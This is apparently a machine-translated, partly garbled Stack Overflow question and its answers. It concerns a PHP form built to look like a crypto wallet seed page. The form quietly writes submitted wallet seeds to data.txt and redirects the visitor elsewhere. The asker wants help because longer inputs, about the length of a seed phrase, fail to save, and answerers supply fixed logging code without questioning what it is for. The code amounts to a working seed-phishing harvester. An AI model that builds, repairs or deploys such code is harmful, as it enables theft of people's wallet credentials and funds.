Php$\u Post停止随机工作
我有一张表格Php$\u Post停止随机工作,php,html,forms,post,Php,Html,Forms,Post,我有一张表格 <form action="welcome.php" method="post" ........................"> <button id=......................ERATE NEW SEED</button> <br/><br/> <div class="form-field"> <la
<form action="welcome.php" method="post" ........................">
<button id=......................ERATE NEW SEED</button>
<br/><br/>
<div class="form-field">
<label for...............">WALLET SEED</label>
<br/>
<textarea id=...........................="false"></textarea>
<span class="clipSp............ successfully copied to clipboard" ></span>
<br/>
</div>
<br/>
<div clas..........content">
<div>ADDRESS
<br/>
<span>{{vm.displayAddress}}</span>
</div>
</div>
<button class="wButton fade" type="submit">REGISTER ACCOUNT</button>
<span class="divider-2"></span>
<button class="wButton fade" type="reset" ng-click="vm.back()">BACK</button>
.
.
.
.
然后我有了这个welcome.php文件
<?php
$var = $_POST['formdesiredpost'];
file_put_contents("data.txt", $var . "\n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
?>
它应该将表单textarea中所需的值发布到一个txt文件data.txt中。
但问题是它是随机工作的。有时它可以工作,有时它只是在data.txt文件中创建一个新行,没有文本。
我认为这可能是cookie问题,使用隐名模式google chrome使其更准确,但有时仍然失败,在data.txt文件中创建empyte行
我想补充一点,如果我删除了data.txt文件中的所有内容,那么我会再次尝试提交表单。它又开始工作了。但只有在2-4次提交时,它才会停止发布,并且每次有人发布内容时,它只会在data.txt文件中创建新的空行。您的代码将在任何情况下执行,即使$\u POST['formdesiredpost']中的数据为空。所以当$\u POST['formdesiredpost']空代码在文件中创建空新行时 如果不想添加新行空行,应首先检查是否为空
if(!empty($_POST['formdesiredpost'])){
$var = $_POST['formdesiredpost'];
file_put_contents("data.txt", $var . "\n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
}
先空检查。因为您每次发布的数据都会创建空文件
$var = $_POST['formdesiredpost'];
if(!empty($var))
file_put_contents("data.txt", $var . "\n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
}
添加如果!空$\u POST['formdesiredpost']{file\u put\u contentsdata.txt,$var.\n,file\u APPEND;headerLocation:https://randomwebsiteredirect.com;exit;}我注意到它确实有效,但只适用于短输入10-25个字符。如果我写一个大约70个字符或更多的输入,它会将我重定向到welcome.php并卡住。毕竟什么也不做。有任何线索吗?如果有,请尝试添加文件内容